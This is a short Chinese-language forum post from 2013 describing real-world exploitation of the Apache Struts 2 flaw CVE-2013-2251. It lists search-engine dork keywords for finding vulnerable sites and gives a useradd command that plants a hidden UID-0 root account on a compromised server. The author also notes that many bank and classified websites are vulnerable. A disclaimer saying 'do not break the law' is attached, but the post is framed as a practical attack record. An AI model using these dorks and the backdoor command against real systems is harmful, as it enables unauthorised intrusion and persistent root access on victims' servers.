-
-
[原创]CVE-2013-2251 Apache Struts 2漏洞利用
-
发表于: 2013-7-19 15:39
-
首先先果已经把文章写了很清楚了
原理性的东西：http://bbs.pediy.com/showthread.php?p=1200545#post1200545
我来说具体实战吧！
想了一些关键字
Inurl:index.action
Inurl:商城.achtion (商城比较多)
Inurl:index.achtion 标题：apache struts2
Inurl:action?id=
。。。。。。。。
没有NB的关键字 只有爱想的脑袋
关键字不唯一可能你多想想就能想出更牛的关键字
就开始利用吧
useradd -u 0 -o -g root -G root -d /home/pediy ** -p ***
用户也能添加成功
目测工具的危害性，而且目前国内好多银行网站及涉密的网站，**平台都存在漏洞
这篇文章也就到这了
全文没什么亮点 只是一种利用记录。。
请勿违法，所有行为与本人无关
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
